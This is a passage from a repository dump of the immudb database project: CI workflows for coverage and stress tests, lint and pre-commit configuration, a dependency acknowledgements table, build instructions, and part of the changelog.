-d -t -p 9000:9000 --name minio \ -e "MINIO_ACCESS_KEY=minioadmin" \ -e "MINIO_SECRET_KEY=minioadmin" \ minio/minio server /data # Create immudb bucket docker run --net=host -t --entrypoint /bin/sh minio/mc -c " mc alias set local http://localhost:9000 minioadmin minioadmin && mc mb local/immudb " export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true cat coverage.txt | grep -v "test" | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "fs" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci # Stop minio docker rm -f minio env: COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Analyze with SonarCloud uses: sonarsource/sonarcloud-github-action@master env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} ================================================ FILE: .github/workflows/stress.yml ================================================ name: immudb Stress on: pull_request: branches: - '**' schedule: - cron: '0 0 * * *' jobs: stress-build: runs-on: ubuntu-latest steps: - name: Setup runner for Go uses: actions/setup-go@v6 with: go-version: "1.24" - uses: actions/checkout@v4 - name: Build stress tool run: | go build embedded/tools/stress_tool/stress_tool.go - name: "| Entries: 1M | Workers: 20 | Batch: 1k | Batches: 50 |" id: e_1m_w_20_b_1k_bs_50 run: | rm -rf data SECONDS=0 ./stress_tool -mode auto -committers 20 -kvCount 1000 -txCount 50 -txRead -synced echo "duration_1=$SECONDS" >> $GITHUB_ENV - name: "| Entries: 1M | Workers: 50 | Batch: 1k | Batches: 20 |" id: e_1m_w_50_b_1k_bs_20 run: | rm -rf data SECONDS=0 ./stress_tool -mode auto -committers 50 -kvCount 1000 -txCount 20 -txRead -synced echo "duration_2=$SECONDS" >> $GITHUB_ENV - name: "| Entries: 1M | Workers: 100 | Batch: 1k | Batches: 10 |" id: e_1m_w_100_b_1k_bs_10 run: | rm -rf data SECONDS=0 ./stress_tool -mode auto -committers 100 -kvCount 1000 -txCount 10 -txRead -synced echo "duration_3=$SECONDS" >> $GITHUB_ENV - name: Create the Mattermost message if: github.event.schedule == '0 0 * * *' run: > echo "{\"text\":\"### Stress tests results for scheduled daily run on ${{ github.ref_name }} branch\n | Step | Result | Duration |\n | ---- | ------ | -------- |\n | Entries: 1M - Workers: 20 - Batch: 1k - Batches: 50 | ${{ steps.e_1m_w_20_b_1k_bs_50.outcome }} | ${{ env.duration_1 }}s |\n | Entries: 1M - Workers: 50 - Batch: 1k - Batches: 20 | ${{ steps.e_1m_w_50_b_1k_bs_20.outcome }} | ${{ env.duration_2 }}s |\n | Entries: 1M - Workers: 100 - Batch: 1k - Batches: 10 | ${{ steps.e_1m_w_100_b_1k_bs_10.outcome }} | ${{ env.duration_3 }}s |\n **Check details [here](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})** \"}" > mattermost.json && echo MM_PAYLOAD=$(cat mattermost.json) >> $GITHUB_ENV - name: Notify on immudb channel on Mattermost if: github.event.schedule == '0 0 * * *' uses: mattermost/action-mattermost-notify@master with: MATTERMOST_WEBHOOK_URL: ${{ secrets.MATTERMOST_WEBHOOK_URL }} MATTERMOST_CHANNEL: 'immudb-tests' PAYLOAD: ${{ env.MM_PAYLOAD }} ================================================ FILE: .gitignore ================================================ # Binaries for programs and plugins *.exe *.exe~ *.dll *.so *.dylib # Test binary, build with `go test -c` *.test # Output of the go coverage tool, specifically when used with LiteIDE *.out coverage.txt # Output of goyacc embedded/sql/y.output # Editor .vscode .idea *.iml *.swp # Environment .env # macOS .DS_Store # Binaries /immuclient /immuadmin /immutest /immudb /nimmu /bm /immutc /dist # Working files .root* immudb.pid /data # Vendor vendor # immudb auth immudb_pwd token token_admin swagger/dist swagger/swaggerembedded webconsole/webconsoleembedded ================================================ FILE: .golangci.yml ================================================ # This file contains all available configuration options # with their default values. # options for analysis running run: # default concurrency is a available CPU number concurrency: 4 # timeout for analysis, e.g. 30s, 5m, default is 1m deadline: 1m # exit code when at least one issue was found, default is 1 issues-exit-code: 1 # include test files or not, default is true tests: false skip-dirs: - pkg/api # output configuration options output: # colored-line-number|line-number|json|tab|checkstyle, default is "colored-line-number" format: colored-line-number # print lines of code with issue, default is true print-issued-lines: true # print linter name in the end of issue text, default is true print-linter-name: true # all available settings of specific linters linters-settings: errcheck: # report about not checking of errors in type assetions: `a := b.(MyStruct)`; # default is false: such cases aren't reported by default. check-type-assertions: false # report about assignment of errors to blank identifier: `num, _ := strconv.Atoi(numStr)`; # default is false: such cases aren't reported by default. check-blank: false # [deprecated] comma-separated list of pairs of the form pkg:regex # the regex is used to ignore names within pkg. (default "fmt:.*"). # see https://github.com/kisielk/errcheck#the-deprecated-method for details ignore: fmt:.*,io/ioutil:^Read.* # path to a file containing a list of functions to exclude from checking # see https://github.com/kisielk/errcheck#excluding-functions for details #exclude: /path/to/file.txt govet: # report about shadowed variables check-shadowing: true golint: # minimal confidence for issues, default is 0.8 min-confidence: 0.8 gofmt: # simplify code: gofmt with `-s` option, true by default simplify: true goimports: # put imports beginning with prefix after 3rd-party packages; # it's a comma-separated list of prefixes local-prefixes: github.com/org/project gocyclo: # minimal code complexity to report, 30 by default (but we recommend 10-20) min-complexity: 15 maligned: # print struct with more effective memory layout or not, false by default suggest-new: true dupl: # tokens count to trigger issue, 150 by default threshold: 100 goconst: # minimal length of string constant, 3 by default min-len: 3 # minimal occurrences count to trigger, 3 by default min-occurrences: 3 depguard: list-type: blacklist include-go-root: false packages: - github.com/davecgh/go-spew/spew misspell: # Correct spellings using locale preferences for US or UK. # Default is to use a neutral variety of English. # Setting locale to US will correct the British spelling of 'colour' to 'color'. locale: US lll: # max line length, lines longer will be reported. Default is 120. # '\t' is counted as 1 character by default, and can be changed with the tab-width option line-length: 120 # tab width in spaces. Default to 1. tab-width: 1 unused: # treat code as a program (not a library) and report unused exported identifiers; default is false. # XXX: if you enable this setting, unused will report a lot of false-positives in text editors: # if it's called for subdir of a project it can't find funcs usages. All text editor integrations # with golangci-lint call it on a directory with the changed file. check-exported: false unparam: # call graph construction algorithm (cha, rta). In general, use cha for libraries, # and rta for programs with main packages. Default is cha. algo: cha # Inspect exported functions, default is false. Set to true if no external program/library imports your code. # XXX: if you enable this setting, unparam will report a lot of false-positives in text editors: # if it's called for subdir of a project it can't find external interfaces. All text editor integrations # with golangci-lint call it on a directory with the changed file. check-exported: false nakedret: # make an issue if func has more lines of code than this setting and it has naked returns; default is 30 max-func-lines: 30 prealloc: # XXX: we don't recommend using this linter before doing performance profiling. # For most programs usage of prealloc will be a premature optimization. # Report preallocation suggestions only on simple loops that have no returns/breaks/continues/gotos in them. # True by default. simple: true range-loops: true # Report preallocation suggestions on range loops, true by default for-loops: false # Report preallocation suggestions on for loops, false by default linters: enable: - govet # Used in main precommit. Vet examines Go source code and reports suspicious constructs, such as Printf calls whose arguments do not align with the format string [fast: true] - errcheck # Errcheck is a program for checking for unchecked errors in go programs. These unchecked errors can be critical bugs in some cases [fast: true] - staticcheck #Staticcheck is a go vet on steroids, applying a ton of static analysis checks [fast: false] - unused # Checks Go code for unused constants, variables, functions and types [fast: false] - gosimple # Linter for Go source code that specializes in simplifying a code [fast: false] - structcheck # Finds an unused struct fields [fast: true] - varcheck # Finds unused global variables and constants [fast: true] - ineffassign # Detects when assignments to existing variables are not used [fast: true] - deadcode # Finds unused code [fast: true] #- typecheck # Like the front-end of a Go compiler, parses and type-checks Go code [fast: true] #- goimports # Goimports does everything that gofmt does. Additionally it checks unused imports [fast: true] #- golint # Golint differs from gofmt. Gofmt reformats Go source code, whereas golint prints out style mistakes [fast: true] #- gosec (gas) # Inspects source code for security problems [fast: true] #- interfacer # Linter that suggests narrower interface types [fast: false] - unconvert # Remove unnecessary type conversions [fast: true] #- dupl # Tool for code clone detection [fast: true] #- goconst # Finds repeated strings that could be replaced by a constant [fast: true] - gocyclo # Computes and checks the cyclomatic complexity of functions [fast: true] #- gofmt # Used in main precommit. Gofmt checks whether code was gofmt-ed. By default this tool runs with -s option to check for code simplification [fast: true] #- maligned # Tool to detect Go structs that would take less memory if their fields were sorted [fast: true] #- megacheck # 3 sub-linters in one: unused, gosimple and staticcheck [fast: false] #- depguard # Go linter that checks if package imports are in a list of acceptable packages [fast: true] - misspell # Finds commonly misspelled English words in comments [fast: true] #- lll # Reports long lines [fast: true] #- unparam # Reports unused function parameters [fast: false] #- nakedret # Finds naked returns in functions greater than a specified function length [fast: true] #- prealloc # Finds slice declarations that could potentially be preallocated [fast: true] #- scopelint # Scopelint checks for unpinned variables in go programs [fast: true] #- gocritic # The most opinionated Go source code linter [fast: true] #- gochecknoinits # Checks that no init functions are present in Go code [fast: true] #- gochecknoglobals # Checks that no globals are present in Go code [fast: true] fast: true issues: # List of regexps of issue texts to exclude, empty list by default. # But independently from this option we use default exclude patterns, # it can be disabled by `exclude-use-default: false`. To list all # excluded by default patterns execute `golangci-lint run --help` exclude: - "not declared by package utf8" - "unicode/utf8/utf8.go" #- ".*defer.*" # Independently from option `exclude` we use default exclude patterns, # it can be disabled by this option. To list all # excluded by default patterns execute `golangci-lint run --help`. # Default value for this option is true. exclude-use-default: false # Maximum issues count per one linter. Set to 0 to disable. Default is 50. max-per-linter: 0 # Maximum count of issues with the same text. Set to 0 to disable. Default is 3. max-same-issues: 0 # Show only new issues: if there are unstaged changes or untracked files, # only those changes are analyzed, else only changes in HEAD~ are analyzed. # It's a super-useful option for integration of golangci-lint into existing # large codebase. It's not practical to fix all existing issues at the moment # of integration: much better don't allow issues in new code. # Default is false. new: false # Show only new issues created after git revision `REV` #new-from-rev: REV # Show only new issues created in git patch with set file path. #new-from-patch: path/to/patch/file ================================================ FILE: .pre-commit-config.yaml ================================================ repos: - repo: git://github.com/pre-commit/pre-commit-hooks rev: v2.1.0 hooks: - id: check-merge-conflict - id: check-yaml - id: end-of-file-fixer - id: trailing-whitespace - repo: git://github.com/dnephin/pre-commit-golang rev: v0.3.3 hooks: - id: go-fmt - id: validate-toml - id: no-go-testing ================================================ FILE: ACKNOWLEDGEMENTS.md ================================================ # software immudb copyright info: Copyright 2022 Codenotary Inc. All rights reserved. Released under [Apache 2.0 License](https://raw.githubusercontent.com/codenotary/immudb/master/LICENSE). Readme has been inspired by the amazing Netdata community project. [Netdata](https://github.com/netdata/netdata) immudb uses the following amazing open source projects. Copyright by their respective copyright holders and Codenotary Inc. | Project | License | | ------------------------------------------------------------ | ------------------------------------------------------------ | | [cobra](https://github.com/spf13/cobra) | [Apache License 2.0](https://github.com/spf13/cobra/blob/master/LICENSE.txt) | | [go-homedir](https://github.com/mitchellh/go-homedir) | [MIT](https://github.com/mitchellh/go-homedir/blob/master/LICENSE) | | [viper](https://github.com/spf13/viper) | [MIT](https://github.com/spf13/viper/blob/master/LICENSE) | | [xid](https://github.com/rs/xid) | [MIT](https://github.com/rs/xid/blob/master/LICENSE) | | [Prometheus Go client library](https://github.com/prometheus/client_golang) | [Apache License 2.0](https://github.com/prometheus/client_golang/blob/master/LICENSE) | | [Go gRPC Middleware](https://github.com/grpc-ecosystem/go-grpc-middleware) | [Apache License 2.0](https://github.com/grpc-ecosystem/go-grpc-middleware/blob/master/LICENSE) | | [go-toml](https://github.com/pelletier/go-toml) | [MIT](https://github.com/pelletier/go-toml/blob/master/LICENSE) | | [File system notifications for Go](https://github.com/fsnotify/fsnotify) | [BSD 3-Clause "New" or "Revised" License](https://github.com/fsnotify/fsnotify/blob/master/LICENSE) | | [jWalterWeatherman](https://github.com/spf13/jwalterweatherman) | [MIT](https://github.com/spf13/jwalterweatherman/blob/master/LICENSE) | | [HCL](https://github.com/hashicorp/hcl) | [Mozilla Public License 2.0](https://github.com/hashicorp/hcl/blob/master/LICENSE) | | [mapstructure](https://github.com/mitchellh/mapstructure) | [MIT](https://github.com/mitchellh/mapstructure/blob/master/LICENSE) | | [grpc-gateway](https://github.com/grpc-ecosystem/grpc-gateway) | [BSD 3-Clause "New" or "Revised" License](https://github.com/grpc-ecosystem/grpc-gateway/blob/master/LICENSE.txt) | | [cast](https://github.com/spf13/cast) | [MIT](https://github.com/spf13/cast/blob/master/LICENSE) | | [go-md2man](https://github.com/cpuguy83/go-md2man) | [MIT](https://github.com/cpuguy83/go-md2man/blob/master/LICENSE.md) | | [xxhash](https://github.com/cespare/xxhash) | [MIT](https://github.com/cespare/xxhash/blob/master/LICENSE.txt) | | [Data model artifacts for Prometheus](https://github.com/prometheus/client_model) | [Apache License 2.0](https://github.com/prometheus/client_model/blob/master/LICENSE) | | [pflag](https://github.com/spf13/pflag) | [BSD 3-Clause "New" or "Revised" License](https://github.com/spf13/pflag/blob/master/LICENSE) | | [Go support for Protocol Buffers](https://github.com/protocolbuffers/protobuf-go) | [License](https://github.com/protocolbuffers/protobuf-go/blob/master/LICENSE) | | [Ristretto](https://github.com/dgraph-io/ristretto) | [Apache License 2.0](https://github.com/dgraph-io/ristretto/blob/master/LICENSE) | | [AFERO](https://github.com/spf13/afero) | [Apache License 2.0](https://github.com/spf13/afero/blob/master/LICENSE.txt) | | [Blackfriday](https://github.com/russross/blackfriday) | [Simplified BSD License](https://github.com/russross/blackfriday/blob/master/LICENSE.txt) | | [Humane Units](https://github.com/dustin/go-humanize) | [License](https://github.com/dustin/go-humanize/blob/master/LICENSE) | | [sanitized anchor name](https://github.com/shurcooL/sanitized_anchor_name) | [MIT](https://github.com/shurcooL/sanitized_anchor_name/blob/master/LICENSE) | | [go-farm](https://github.com/dgryski/go-farm) | [MIT](https://github.com/dgryski/go-farm/blob/master/LICENSE) | | [PASETO](https://github.com/o1egl/paseto) | [MIT](https://github.com/o1egl/paseto/blob/master/LICENSE) | | [ChaCha20](https://github.com/aead/chacha20) | [MIT](https://github.com/aead/chacha20/blob/master/LICENSE) | | [Perks](https://github.com/beorn7/perks) | [MIT](https://github.com/beorn7/perks/blob/master/LICENSE) | | [Zstd Go Wrapper](https://github.com/DataDog/zstd) | [Simplified BSD License](https://github.com/DataDog/zstd/blob/1.x/LICENSE) | | [gotenv](https://github.com/subosito/gotenv) | [MIT](https://github.com/subosito/gotenv/blob/master/LICENSE) | | [poly1305](https://github.com/aead/poly1305) | [MIT](https://github.com/aead/poly1305/blob/master/LICENSE) | | [Go CORS handler](https://github.com/rs/cors) | [MIT](https://github.com/rs/cors/blob/master/LICENSE) | ================================================ FILE: BUILD.md ================================================ # Build the binaries yourself To build the binaries yourself, simply clone this repo and run ``` make all ``` To embed the webconsole, build with ``` rm -rf webconsole/dist # force download of the correct webconsole version make WEBCONSOLE=default ``` This will download the appropriate webconsole release and add the Go build tag `webconsole` which will use the go:embed to embed the front-end code. The front-end will be then served in the web API root "/". To regenerate the default page, change the files in webconsole/default and run `make webconsole/default` ## Linux (by component) ```bash GOOS=linux GOARCH=amd64 make immuclient-static immuadmin-static immudb-static ``` ## MacOS (by component) For Apple Silicon (M1) use `GOARCH=arm64` instead of `GOARCH=amd64` ```bash GOOS=darwin GOARCH=amd64 make immuclient-static immuadmin-static immudb-static ``` ## Windows (by component) ```bash GOOS=windows GOARCH=amd64 make immuclient-static immuadmin-static immudb-static ``` ## Freebsd (by component) ```bash GOOS=freebsd GOARCH=amd64 make immuclient-static immuadmin-static immudb-static ``` # Build the Docker images yourself If you want to build the container images yourself, simply clone this repo and run ``` docker build -t myown/immudb:latest -f Dockerfile . docker build -t myown/immuadmin:latest -f Dockerfile.immuadmin . docker build -t myown/immuclient:latest -f Dockerfile.immuclient . ``` And then run immudb as described when pulling official immudb Docker image. ================================================ FILE: CHANGELOG.md ================================================ # CHANGELOG All notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] ## [v1.10.0] - 2025-10-18 ### Bug Fixes - display actual config file path in startup logs ### Changes - **embedded/sql:** add COALESCE function - **embedded/sql:** Implement EXTRACT FROM TIMESTAMP expressions - **embedded/sql:** Implement BETWEEN AND expressions ### Features - **helm:** Add comprehensive configuration support for ImmuDB ## [v1.9.7] - 2025-05-30 ### Bug Fixes - **embedded/tbtree:** save timestamp to a separate file to avoid rescanning empty indexes ## [v2.0.0-RC1] - 2025-05-20 ### Changes - v2 version ## [v1.9.6] - 2025-03-31 ### Bug Fixes - **embedded/sql:** correctly handle logical operator precedence (NOT, AND, OR) ### Changes - **embedded/sql:** Support PRIMARY KEY constraint on individual columns - **embedded/sql:** Add support for core pg_catalog tables (pg_class, pg_namespace, pg_roles) - **embedded/sql:** add support for LEFT JOIN - **embedded/sql:** add support for SELECT FROM VALUES syntax - **embedded/sql:** Allow expressions in ORDER BY clauses - **embedded/sql:** Add support for simple CASE statements - **embedded/sql:** Implement CASE statement - **pkg/replication:** add replication lag metric ## [v1.9.5] - 2024-09-16 ### Bug Fixes - time.Since should not be used in defer statement - **pkg/dabase:** return error when attempting to access deleted database - **pkg/pgsql/server:** close row readers to release resources - **pkg/server:** run metrics server under HTTPS ### Changes - **embedded/logging:** improve file base logging. - **embedded/sql:** improvements on SQL layer. - **embedded/store:** improve index flush logic - **pkg/database:** implement database manager - **pkg/server:** implement automatic generation of self-signed HTTPS certificate ## [v1.9.4] - 2024-07-25 ### Bug Fixes - set mattermost payload ## [v1.9.3] - 2024-05-23 ### Changes - fix some comments - refactor image building - The GitHub workflow push.yml was updated to use the repository owner's Docker images instead of fixed ones. This change allows for more flexibility and control when using Docker images, and ensures that the correct images are used based on the repository owner. - Update GitHub Actions to use checkout[@v4](https://github.com/v4) - Add support to ARM64 - **embedded/cache:** replace sync.Mutex with sync.RWMutex - **embedded/cache:** validate input params before obtaining mutex lock ### Reverts - test with github token - chore(embedded/cache): replace sync.Mutex with sync.RWMutex ## [v1.9DOM.2] - 2023-12-29 ### Bug Fixes - apply fix for CVE-2023-44487 - performance test regression ### Changes - **deps:** bump actions/setup-go from 3 to 5 - **deps:** bump actions/upload-artifact from 3 to 4 - **deps:** bump actions/download-artifact from 3 to 4 - **deps:** bump google.golang.org/grpc in /test/e2e/truncation - **deps:** bump google.golang.org/protobuf from 1.31.0 to 1.32.0 ## [v1.9DOM.2-RC1] - 2023-12-21 ### Bug Fixes - performance test regression - remove influxdb dependencies - correct the test after the merge and latest refactor - source /etc/sysconfig/immudb on AWS EC2 startup ### Changes - add influxdb (needed for performance test) dependency - use goveralls token variable - **deps:** bump golang.org/x/crypto in /test/columns - **deps:** bump golang.org/x/crypto in /tools/mkdb - **deps:** bump golang.org/x/crypto - **deps:** bump golang.org/x/crypto in /test/e2e/truncation - **deps:** bump golang.org/x/crypto - **deps:** bump github.com/rogpeppe/go-internal from 1.9.0 to 1.12.0 - **deps:** bump golang.org/x/net from 0.17.0 to 0.19.0 - **deps:** bump golang.org/x/crypto from 0.14.0 to 0.17.0 ### Features - add s3 (aws) role based auth as an option - automatically convert uuid strings and byte slices to uuid values ### Reverts - Merge remote-tracking branch 'origin/dependabot/go_modules/github.com/rogpeppe/go-internal-1.12.0' into release/v1.9.2 ## [v1.9DOM.1] - 2023-11-16 ### Changes - **pkg/pgsql:** handle odbc help - **pkg/server:** change permission automatically revokes existing ones ## [v1.9DOM.1-RC1] - 2023-11-14 ### Bug Fixes - lower databasename in OpenSession - **embedded/sql:** fix data-race when mapping keys - **embedded/sql:** fix data-race when mapping keys - **embedded/store:** handle key mapping in ongoing txs - **embedded/store:** handle key mapping in ongoing txs - **embedded/store:** handle key mapping in ongoing txs - **pkg/database:** ensure proper tx validation - **pkg/server:** user creation with multidbs ### Changes - docker image with swagger ui (for AWS Marketplace) - **cmd/immudb:** upgrade to new pgsql changes - **deps:** bump github.com/google/uuid from 1.3.1 to 1.4.0 - **embedded/sql:** user pwd - **embedded/sql:** show users stmt - **embedded/sql:** wip emulate pg_type system table - **embedded/sql:** continue to support databases and tables datasources - **embedded/store:** indexer source and target prefixes - **pkg/client:** possibility to retrieve session id - **pkg/pgsql:** support multiple-statements in simple-query mode - **pkg/pgsql:** tls support - **pkg/pgsql:** comment describing pgsql wire protocol constraints - **pkg/pgsql:** show table/s - **pkg/pgsql:** proper handling of queries with empty resultsets - **pkg/pgsql:** single command complete message - **pkg/pgsql:** protocol enhancements - **pkg/pgsql:** uuid and float types conversion - **pkg/pgsql:** transactional query machine - **pkg/pgsql:** pgsql write protocol improvements - **pkg/pgsql:** decouple error from ready to query messages - **pkg/pgsql:** handle deallocate prepared stmt - **pkg/server:** pgsql server creation only when enabled - **pkg/server:** set dynamic immudb server port in pgsql server - **pkg/server:** upgrade to transactional pgsql server - **pkg/server:** list users from multidb handler - **pkg/server:** require proper permissions at multidb handler ### Features - **embedded/sql:** show table stmt - **embedded/sql:** wip user mgmt - **embedded/sql:** show users stmt - **embedded/sql:** show databases/tables stmt - **pkg/server:** add support of underscore in db name Signed-off-by: Martin Jirku ## [v1.9DOM.0] - 2023-10-19 ### Changes - docker image with swagger ui - docker image with swagger ui ## [v1.9DOM] - 2023-10-19 ### Changes - **cmd/immuadmin:** add indexing related flags ### Features - **embedded/sql:** table renaming ## [v1.9.0-RC2] - 2023-10-16 ### Bug Fixes - standard syntax for drop index - **embedded/sql:** fix sql temporal range evaluation ### Changes - **embedded/document:** count with limit in subquery - **embedded/sql:** expose subquery creation - **pkg/api:** set optional parameters - **pkg/api:** set optional parameters ## [v1.9.0-RC1] - 2023-10-11 ### Bug Fixes - insertion ts for key-values should not be equal to the current root ts - correct immudb name in readme - allow the local id to be used if present even if remote flag is on - apply fixes discussed in PR - **Makefile:** remove webconsole tag from immuclient/immuadmin builds - **embedded/appendable:** explicit freebsd build clauses - **embedded/document:** avoid waiting for tx to be committed - **embedded/document:** ensure multi-indexing is enabled - **embedded/sql:** advance position when decoding value at deleted column - **embedded/store:** precommitted transaction discarding recedes durable state - **embedded/store:** use correct index path - **embedded/store:** handle transient key update - **embedded/store:** read lock when fetching indexer - **embedded/store:** read lock when pausing indexers - **embedded/tbtree:** proper _rev calculation - **embedded/tbtree:** snapshot validation - **embedded/tbtree:** consider offset for history count calculation - **pkg/server:** buffer reuse ### Changes - use copy instead of a loop - build with swaggerui - unnecessary use of fmt.Sprintf - align covered packages when pulling and merging - unnecessary use of fmt.Sprintf - **cmd/immuclient:** display raw column selector in table header - **deps:** bump golang.org/x/net from 0.10.0 to 0.12.0 - **deps:** bump google.golang.org/grpc from 1.55.0 to 1.56.2 - **deps:** bump golang.org/x/crypto from 0.13.0 to 0.14.0 - **deps:** bump golang.org/x/net from 0.14.0 to 0.15.0 - **deps:** bump google.golang.org/grpc - **deps:** bump google.golang.org/grpc in /test/e2e/truncation - **deps:** bump google.golang.org/grpc - **deps:** bump golang.org/x/crypto from 0.12.0 to 0.13.0 - **deps:** bump golang.org/x/crypto from 0.10.0 to 0.11.0 - **deps:** bump golang.org/x/sys from 0.9.0 to 0.10.0 - **deps:** bump golang.org/x/net from 0.15.0 to 0.17.0 - **deps:** bump golang.org/x/sys from 0.11.0 to 0.12.0 - **deps:** bump golang.org/x/net from 0.12.0 to 0.13.0 - **deps:** bump golang.org/x/sys from 0.10.0 to 0.11.0 - **deps:** bump golang.org/x/crypto from 0.7.0 to 0.10.0 - **deps:** bump golang.org/x/net from 0.13.0 to 0.14.0 - **deps:** bump securego/gosec from 2.15.0 to 2.17.0 - **deps:** bump github.com/grpc-ecosystem/grpc-gateway/v2 - **embedded/document:** encoded document using valRef - **embedded/document:** register username when applying a change - **embedded/document:** attach username when auditing document - **embedded/document:** enable multi-indexing in doc engine tests - **embedded/sql:** support parenthesis as datatype constraint delimiter - **embedded/sql:** multi-snapshop mvvc - **embedded/sql:** deletion of primary index path - **embedded/sql:** historical queries over primary index - **embedded/sql:** dynamic indexing - **embedded/sql:** post-commit physical index deletion - **embedded/sql:** improve internal index naming - **embedded/sql:** uuid decoding - **embedded/sql:** unique index creation supported on empty tables - **embedded/sql:** temporal queries with multi-indexing - **embedded/sql:** transactional drops - **embedded/sql:** use declared constant for fixed ids - **embedded/sql:** insertion benchmark - **embedded/store:** injective index mapper - **embedded/store:** history returning value refs - **embedded/store:** history with rev count - **embedded/store:** ensure index is erased from disk - **embedded/store:** indexer alloc its tx - **embedded/store:** remove metastate - **embedded/store:** multi-indexing - **embedded/store:** key reader including historical entries - **embedded/store:** ensure snapshot up to date - **embedded/store:** indexing callbacks - **embedded/store:** wip multi-indexing - **embedded/store:** indexing prefix - **embedded/store:** entry mapper - **embedded/tbtree:** value-preserving history - **embedded/tbtree:** fetching historical values - **embedded/tbtree:** wip value-preserving history - **embedded/tbtree:** context propagation - **embedded/tbtree:** value-preserving history - **embedded/tbtree:** hcount serialization - **pkg/api:** adjust doc serializations to match verification - **pkg/api:** endpoint improvements - **pkg/client:** add setAll to immuclient mock - **pkg/client:** use buf for msg exchange - **pkg/database:** increase delay when tx is not present - **pkg/database:** fix remote storage paths - **pkg/database:** mandatory wait with async replication - **pkg/database:** kv count - **pkg/database:** doc audit without retrieving payloads - **pkg/database:** context propagation - **pkg/database:** context propagation - **pkg/database:** multi-indexing database - **pkg/database:** fix remote storage paths - **pkg/database:** register username when applying a change - **pkg/database:** keept reading from specific tx - **pkg/server:** register username when applying a change in doc apis - **pkg/server:** minor code adjustment - **pkg/stdlib:** non transactional ddl stmts - **pkg/truncator:** use embedded/logger package - **pkg/verification:** minor doc verification improvements - **swagger:** use embedded logger package - **tests:** Tests cleanup ### Code Refactoring - **pkg/logger:** move logger from pkg to embedded ### Features - add flag for using external id as a main one - update readme - prevent identifier from creation when use external id option - pass logger to heartbeater - **embedded/document:** register user when creating collection - **embedded/document:** doc audit without retrieving payloads - **embedded/document:** add field to collection - **embedded/document:** remove field from collection - **embedded/sql:** dynamic multi-indexing - **embedded/sql:** wip uuid datatype support - **embedded/sql:** include _rev column in historical queries - **embedded/sql:** drop index and table stmts - **embedded/sql:** table history - **embedded/sql:** query including historical rows - **embedded/sql:** extra metadata when creating tx - **embedded/sql:** async multi-indexing - **embedded/sql:** drop column stmt - **embedded/store:** getBetween - **embedded/store:** use index attribute in kv metadata - **embedded/store:** extra tx metadata - **embedded/store:** transactionaless multi-indexing - **embedded/tbtree:** getBetween - **embedded/tbtree:** key reader supporting historical values - **pkg/api:** include username in document audit response - **pkg/api:** re-enable swagger ui - **pkg/api:** docAudit returning timestamp and possibility to omit payloads - **pkg/api:** add field and remove field endpoints - **pkg/database:** add user when creating collection - **pkg/server:** add user when creating collection ### Reverts - chore: remove initial swagger support ## [v1.5.0] - 2023-06-20 ### Bug Fixes - **embedded/store:** handle replication of empty values ### Changes - **embedded/document:** naming validations - **embedded/document:** allow hyphen in doc naming - **embedded/document:** collection and field naming validations - **embedded/store:** embedded values and prealloc disabled by default ## [v1.5.0-RC1] - 2023-06-16 ### Bug Fixes - build/Dockerfile.rndpass to reduce vulnerabilities - modify tests for new object db initialisation - build/Dockerfile.immuclient to reduce vulnerabilities - build/Dockerfile.immuadmin to reduce vulnerabilities - build/Dockerfile.immuadmin to reduce vulnerabilities - build/Dockerfile.full to reduce vulnerabilities - table id generation - build/Dockerfile.rndpass to reduce vulnerabilities - build/Dockerfile.full to reduce vulnerabilities - build/Dockerfile.immuclient to reduce vulnerabilities - **docs:** bump golang.org/x/net to 0.7.0 in docs and test pkg - **embedded/ahtree:** correct calculation of payload offset - **embedded/appendable:** proper closing of non-required chunks - **embedded/document:** close readers before updating document - **embedded/document:** proper column renaming - **embedded/document:** assign correct revision number - **embedded/document:** proper handling of deleted documents - **embedded/document:** support nil docs - **embedded/document:** id field conversion - **embedded/document:** validate doc is properly initialized - **embedded/document:** validate doc is properly initialized - **embedded/sql:** parsing of exists stmt - **embedded/sql:** multi-row conflict handling - **embedded/sql:** like operator supporting null values - **embedded/sql:** proper handling of parameters in row readers - **embedded/sql:** do not force columns to have max key length when unspecified - **embedded/sql:** implicit conversion within expressions - **embedded/sql:** include explicit close into sqlTx options - **embedded/sql:** consider 0 as no limit - **embedded/sql:** crash when RowReader.Read() returns error - **embedded/store:** force snapshot to include mandatory mvcc changes - **embedded/store:** avoid dead-lock when exporting tx with external commit allowance mode - **embedded/store:** ensure snapshot is closed for read-only txs - **embedded/store:** integrity checks covering empty values - **embedded/tbtree:** fix error comparison - **embedded/tbtree:** proper kv validation - **embedded/tbtree:** rollback to the most recent snapshot when insertion fails - **embedded/tbtree:** fix snapshot getKeyWithPrefix - **embedded/tbtree:** fix snapshot getKeyWithPrefix - **go.mod:** bump go version to 1.17 in go.mod - **helm:** set securityContext and podSecurityContext at correct location - **pkg/api:** create collection endpoint with path parameter - **pkg/api:** fix and implement LIKE and NOT_LIKE operator when querying documents - **pkg/client:** ensure ticker is properly stopped - **pkg/client:** return error when verifiedGet operation fails - **pkg/database:** fix truncation and contemplate entry-less txs - **pkg/database:** read-only document API for replicas - **pkg/database:** skip eof error during scan - **pkg/database:** wrap propagated context - **pkg/database:** read from err channel - **pkg/replicator:** check stream is properly initialized - **pkg/server:** ensure tx is closed upon error - **pkg/server:** request explicit close when creating a rw sql tx - **pkg/server:** ensure error propagation when sending headers - **pkg/server:** thread-safe doc reader during session handling - **pkg/server:** close document readers before cancelling txs - **pkg/server:** do not set trailer metadata when replication is done with bidirectional streamming - **pkg/server:** use grpc interceptors with grpc proxy - **pkg/stream:** handle the case when message fits in a single chunk - **pkg/truncator:** adjust plan logic and contemplate empty txs - **pkg/verification:** document comparison with proto equals - **push.yml:** update min go version ### Changes - exclude generated code from coverage - TruncateDatabase endpoint should use the same ongoing Truncator if present - add ReadN method to 